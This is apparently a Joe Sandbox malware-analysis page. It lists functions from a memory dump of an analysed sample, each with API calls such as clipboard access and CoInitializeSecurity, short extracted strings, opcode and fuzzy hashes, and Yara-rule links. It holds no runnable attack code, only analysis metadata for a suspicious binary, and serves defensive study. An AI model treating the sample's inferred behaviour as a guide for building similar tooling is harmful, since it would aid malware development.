Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID:
API String ID: 1006321803-0
Opcode ID: 2b400b6fd3b6bcf85feda424126557295f8003e97648bbadc468b2c086913b7a
Instruction ID: 3e327414386503e3e4dd3f628ad5a5344ca14557a2c11dd719c08e9de17417be
Opcode Fuzzy Hash: 2b400b6fd3b6bcf85feda424126557295f8003e97648bbadc468b2c086913b7a
Instruction Fuzzy Hash: 9441F4B1908B528FD700AF7C984929ABFB0AB02324F058739E8E58B2D5D3349554C7E3

Function 001265EE Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 363COMMON

Download Yara Rule

Strings

GpFv, xrefs: 00126633
AtP, xrefs: 0012663A
LH, xrefs: 001265FD

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID: AtP$GpFv$LH
API String ID: 0-40351562
Opcode ID: 4e566cf8046ca16bee457037b58b6a8e2384b9e474c6fab3b2977918d79904f4
Instruction ID: 471cce75d6058bdaac3dcbc8a5c4e664e978ea528cc0e3781a658cf09d8d4843
Opcode Fuzzy Hash: 4e566cf8046ca16bee457037b58b6a8e2384b9e474c6fab3b2977918d79904f4
Instruction Fuzzy Hash: A5C10F75200B42CFC728CF29D891663B7F2FF9A314B19895DD8968BBA5E774E851CB00

Function 0011D690 Relevance: 7.8, APIs: 1, Strings: 4, Instructions: 329COMMON

Download Yara Rule

APIs

Part of subcall function 00146590: GetSystemMetrics.USER32 ref: 001465D0
Part of subcall function 00146590: GetSystemMetrics.USER32 ref: 001465E0
Part of subcall function 00146590: DeleteObject.GDI32 ref: 00146623
Part of subcall function 00146590: SelectObject.GDI32 ref: 00146673
Part of subcall function 00146590: SelectObject.GDI32 ref: 001466CA
Part of subcall function 00146590: DeleteObject.GDI32 ref: 001466F8

CoUninitialize.OLE32 ref: 0011D6A0

Strings

^_/C, xrefs: 0011D756
SD, xrefs: 0011D8B8
;d, xrefs: 0011D8B1
TC03, xrefs: 0011D75D

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID: Object$DeleteMetricsSelectSystem$Uninitialize
String ID: ;d$SD$TC03$^_/C
API String ID: 1556769885-3729532250
Opcode ID: 753e99f4a8a14303afce54c816f7a6748f4ffa7317b0cdfe743fad4181641708
Instruction ID: 67e5db404591e81aa70d266b6ae426fcd974b37aaa437630e21f3676e771d54c
Opcode Fuzzy Hash: 753e99f4a8a14303afce54c816f7a6748f4ffa7317b0cdfe743fad4181641708
Instruction Fuzzy Hash: 42A1F5B42087918FD71DCF25D4A02A6BFE2FFA7314B28819CC0D64BB46D739A446CB94

Function 00127451 Relevance: 6.7, Strings: 5, Instructions: 462COMMON

Download Yara Rule

Strings

[NC~, xrefs: 00127480
KWYb, xrefs: 00127464
R^lf, xrefs: 00127472
puGG, xrefs: 00127479
V]E^, xrefs: 0012746B

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID: KWYb$R^lf$V]E^$[NC~$puGG
API String ID: 0-3448173581
Opcode ID: c93109422189e992456854c7901b85a4eb0ed7698a04b0c5ea45c496f42a59f9
Instruction ID: c294a80a8445f3241eb8271bf815c5a273cc8200b13ec9ccf8d2d756d5b1a748
Opcode Fuzzy Hash: c93109422189e992456854c7901b85a4eb0ed7698a04b0c5ea45c496f42a59f9
Instruction Fuzzy Hash: B3E12275608701CFD7288F28EC9166777A2FF9A310F19866CD5668B7E1E731E862CB40

Function 0011A910 Relevance: 6.7, Strings: 5, Instructions: 422COMMON

Download Yara Rule

Strings

~Bzx, xrefs: 0011A922
C|, xrefs: 0011AA00
<, xrefs: 0011A9F8
WR, xrefs: 0011AB42
~|, xrefs: 0011AA08

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID: <$C|$WR$~Bzx$~|
API String ID: 0-1711356705
Opcode ID: 849092a0d3b51a3a04779b8c0b94f2f2eca11030e8a46907be66edb9670033eb
Instruction ID: 5829214eda1622730342b11e6a17a89b169b7a5b618fe3a175c2bd37f28a45b2
Opcode Fuzzy Hash: 849092a0d3b51a3a04779b8c0b94f2f2eca11030e8a46907be66edb9670033eb
Instruction Fuzzy Hash: E5D1147664D3508BD318CE2988512AFBFE2AFC2310F59897DE4D59B341C779C94A8B83

Function 00130B10 Relevance: 5.5, Strings: 4, Instructions: 470COMMON

Download Yara Rule

Strings

745:2$76, xrefs: 00130C04
_\], xrefs: 00130CD6
2$76, xrefs: 00130BD5
p@, xrefs: 00130F26

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID: 2$76$745:2$76$_\]$p@
API String ID: 0-2055486527
Opcode ID: 692f9ee771d2d81641aa3ae234354e2c9c2a2707556fcb6c8f5c436a55a784cf
Instruction ID: dcfcee1b82adac6fe37d4a57829c8552b395734865bae477079757a9d19a6284
Opcode Fuzzy Hash: 692f9ee771d2d81641aa3ae234354e2c9c2a2707556fcb6c8f5c436a55a784cf
Instruction Fuzzy Hash: 8CD1BF716083419FD724DF64C8A1AABBBF4EF95314F04882CF99987381E7B5E845CB52

Function 0013A810 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,00000000,?), ref: 0013A8EB
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,?,?), ref: 0013A97D

Strings

~, xrefs: 0013A832

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ~
API String ID: 237503144-2894255414
Opcode ID: 2ff86891368f8e44eb07186a7a5d091f12089a26e1851cfd1a2ff8e843bfdf4b
Instruction ID: 62f3bbba7b455044cd05cc818433fc8b76dac95e9d89bce9bd45f2960f05dc8d
Opcode Fuzzy Hash: 2ff86891368f8e44eb07186a7a5d091f12089a26e1851cfd1a2ff8e843bfdf4b
Instruction Fuzzy Hash: 3B51ECB1608345DFE350DF24AC81B2BBBB9EB9A705F00582CF6809B291DBB0D406CB42

Function 0013F799 Relevance: 5.4, Strings: 4, Instructions: 395COMMON

Download Yara Rule

Strings

$&?3, xrefs: 0013F9CF
;(?>, xrefs: 0013FB00
99C?, xrefs: 0013FB07
0-/?, xrefs: 0013F9D6

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID: $&?3$0-/?$99C?$;(?>
API String ID: 0-2409071036
Opcode ID: 46b230637db8b5c83d89583bb47d6afc60c1bb1bb3dc56a10903dd12bec0e04b
Instruction ID: 95e07568d08e66bb73414abbdbdef222264834c331dfe6836ebf0e0e8c9796f1
Opcode Fuzzy Hash: 46b230637db8b5c83d89583bb47d6afc60c1bb1bb3dc56a10903dd12bec0e04b
Instruction Fuzzy Hash: 36D14DB48047419FD720EF39C596752BFF0EB12300F544A9ED8EA4B79AD334A45ACB92

Function 00118EB0 Relevance: 5.3, Strings: 4, Instructions: 299COMMON

Download Yara Rule

Strings

", xrefs: 00118FC8
MP, xrefs: 00118F12
mooj, xrefs: 00118F90
`]0o, xrefs: 00118FA0

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID: "$MP$`]0o$mooj
API String ID: 0-750224902
Opcode ID: b1852bd034d5f07e6c7418944058fbcc2db243f872094cebdf7b16bddf70df29
Instruction ID: 3dcc63af9350a630f5cc3ef53a949aed18ecd0a5e280ed6da8819004bf54601f
Opcode Fuzzy Hash: b1852bd034d5f07e6c7418944058fbcc2db243f872094cebdf7b16bddf70df29
Instruction Fuzzy Hash: B27129215093929AD705CF2584607BBFFE1AF96340F0889BDE4D49B387C739894AC762

Function 0012AA90 Relevance: 4.4, Strings: 3, Instructions: 606COMMON

Download Yara Rule

Strings

YF, xrefs: 0012B0CB
]Z, xrefs: 0012AEFC
>j%h, xrefs: 0012B0E5

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID: >j%h$YF$]Z
API String ID: 0-4187760579
Opcode ID: 3725feeb11c0cf96ea258bafc778082f3255fc1e66b4b2b18800957b82fe71d3
Instruction ID: eaa063933cc87379dec8a9e6cc64c40062d86188b97eb085971c4a6293424116
Opcode Fuzzy Hash: 3725feeb11c0cf96ea258bafc778082f3255fc1e66b4b2b18800957b82fe71d3
Instruction Fuzzy Hash: 7B02F27260C3108BD7189F25E89266FB7F2EFD1314F49892CE4D58B382E7398916C746

Function 0013E5C2 Relevance: 3.9, Strings: 3, Instructions: 189COMMON

Download Yara Rule

Strings

)2^, xrefs: 0013E6C0
|lx1, xrefs: 0013E71D
khvr, xrefs: 0013E716

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID: )2^$khvr$|lx1
API String ID: 0-2191243274
Opcode ID: bc598e077f3598c466ca542903d168252d30e88c2eb692517119c18e13e368e6
Instruction ID: 0b52120f2d70b762fcf0a03f11d1e72bbe59b8c674294049aced2d5267c1c6de
Opcode Fuzzy Hash: bc598e077f3598c466ca542903d168252d30e88c2eb692517119c18e13e368e6
Instruction Fuzzy Hash: F6410574505781CBD7198F3AC4A1761BBE2AF9B305F1885ACC4C78B396CB39A846CB54

Function 0013DD30 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(D7DADAD1), ref: 0013DE55

Strings

3Z{, xrefs: 0013DDA0

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID: FreeLibrary
String ID: 3Z{
API String ID: 3664257935-2331068373
Opcode ID: 87da6da631283bbb7d159daae90b3ea915797c4fc3c9f9c00c7b1da1c3419b0d
Instruction ID: 80a75d7f46500bb0314824a5d850060c1e6e1d125fd58b36240c0863e75ba6d5
Opcode Fuzzy Hash: 87da6da631283bbb7d159daae90b3ea915797c4fc3c9f9c00c7b1da1c3419b0d
Instruction Fuzzy Hash: C541E270108381DFE7268F28A890B62BFE1AF67705F28459CE4D65F293D7269816CB61

Function 0011CB44 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0011CB56
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0011CB72

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 777ec0d11007a5bd823c18c8a69c207e8b5c2cbbd278c707a59b776b3c186ef3
Instruction ID: cb47586098a09f57efccb13fb31aadcc8610ad93763937217d8b3116252c4347
Opcode Fuzzy Hash: 777ec0d11007a5bd823c18c8a69c207e8b5c2cbbd278c707a59b776b3c186ef3
Instruction Fuzzy Hash: DDE02D307D9701BAF6788A54AC27F247226A746F26F705204B7663EAE48AE07291495C

Function 0012F710 Relevance: 3.0, Strings: 2, Instructions: 527COMMON

Download Yara Rule

Strings

LMB, xrefs: 0012F7EF
pv, xrefs: 0012F797

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID: LMB$pv
API String ID: 0-122907696
Opcode ID: f222fb533bb9e4f29a3b3f1aaaef6146846c5ae9b219eb655f1e870457576de1
Instruction ID: 36e33d31fb35c767c01b3c55ea72e33be75182365b974271ffb1118955b24129
Opcode Fuzzy Hash: f222fb533bb9e4f29a3b3f1aaaef6146846c5ae9b219eb655f1e870457576de1
Instruction Fuzzy Hash: AAE146715183108BD728DF28D86276BB7F1EFD2714F19892CE5C28B3A4E7799846C782

Function 001195A0 Relevance: 2.9, Strings: 2, Instructions: 375COMMON

Download Yara Rule

Strings

no, xrefs: 001198B8
JO}, xrefs: 00119780

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID: JO}$no
API String ID: 0-1394444436
Opcode ID: 230742fbd990c8fe9fb3619e3d7a32672f9e6ecd3afd6c222a966f7917a9d7c6
Instruction ID: cefd9f7720d7cb380bb84ce162e674faafe1dc4244e2ac148401766b66179126
Opcode Fuzzy Hash: 230742fbd990c8fe9fb3619e3d7a32672f9e6ecd3afd6c222a966f7917a9d7c6
Instruction Fuzzy Hash: F4C1E4B560C3408BD718DF34D8A16AFBBE2EFD2314F144A2DE5A28B291DB34C549CB52

Function 0014C410 Relevance: 2.8, Strings: 2, Instructions: 349COMMON

Download Yara Rule

Strings

NP,?, xrefs: 0014C620
mij, xrefs: 0014C6A1

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID: NP,?$mij
API String ID: 0-1436015776
Opcode ID: 2ea86854560064695d4718d74a47f205f794a9c0a0953cec7720e88b56c90ed8
Instruction ID: 79dab1f65d833d5e46d72387717ac88cd017bea1592b94a898c0ae0ef208395b
Opcode Fuzzy Hash: 2ea86854560064695d4718d74a47f205f794a9c0a0953cec7720e88b56c90ed8
Instruction Fuzzy Hash: 3EA159756093108BD724DF25C8C167BB7A6EBC5724F29862CE9A91B2E1E731AC01CBD1

Function 0013DFAF Relevance: 2.6, Strings: 2, Instructions: 124COMMON

Download Yara Rule

Strings

fI.K, xrefs: 0013E873
M"O, xrefs: 0013E87A

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID: M"O$fI.K
API String ID: 0-3473069917
Opcode ID: 15dda9f66c4bff470caf13e9449018a41df716ff8ea25fd0459be88904d22d93
Instruction ID: 6c7c417e48c0e321bfbcd6fa1be707fba1078a1fe9f02aaccba54cd021f2aec0
Opcode Fuzzy Hash: 15dda9f66c4bff470caf13e9449018a41df716ff8ea25fd0459be88904d22d93
Instruction Fuzzy Hash: F231EF75508381CBE7158F29D890332BBE2EFA2310F29959DC0D69F392C779A843CB94

Function 0013E7EB Relevance: 2.6, Strings: 2, Instructions: 108COMMON

Download Yara Rule

Strings

fI.K, xrefs: 0013E873
M"O, xrefs: 0013E87A

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID: M"O$fI.K
API String ID: 0-3473069917
Opcode ID: ae693972937048df9876e8e9b693a97839870a05b46bb3182b823445fbd00aab
Instruction ID: c2b70c7fdd1f8bc24e14ea5dffcba7408d2615a4e8fc2c7ba892e797b1d863f3
Opcode Fuzzy Hash: ae693972937048df9876e8e9b693a97839870a05b46bb3182b823445fbd00aab
Instruction Fuzzy Hash: B731E075604741CBE7098F29C850732BBE2EFA6310F29999CC0859F392CB79A843CB84

Function 00123E50 Relevance: 2.1, Strings: 1, Instructions: 884COMMON

Download Yara Rule

Strings

NP,?, xrefs: 00124270

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID: NP,?
API String ID: 0-3110377521
Opcode ID: 3d5afd7906aec0015febd5cb010b07bfd8879c8c7be27f1abaadeba9f31d434b
Instruction ID: 08f428856adc437c9441ba8623610bd4cb23e1423c3b8d58fd1336891d144c93
Opcode Fuzzy Hash: 3d5afd7906aec0015febd5cb010b07bfd8879c8c7be27f1abaadeba9f31d434b
Instruction Fuzzy Hash: F6422175608311CBD7189F28F892B7B73A1FF95325F154A2CF5A25B2E0E730A865CB81

Function 00137A50 Relevance: 1.7, Strings: 1, Instructions: 403COMMON

Download Yara Rule

Strings

klm", xrefs: 00137B31

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID: InitializeThunk
String ID: klm"
API String ID: 2994545307-2308819284
Opcode ID: e808fb6e8a5504f19654fb1541df24bbc72c796567a75ba49766b91e0bbe691b
Instruction ID: e4c0ac71e3e0fea807687a865ac5e979e11f5baed092a2950afc689bb81b76aa
Opcode Fuzzy Hash: e808fb6e8a5504f19654fb1541df24bbc72c796567a75ba49766b91e0bbe691b
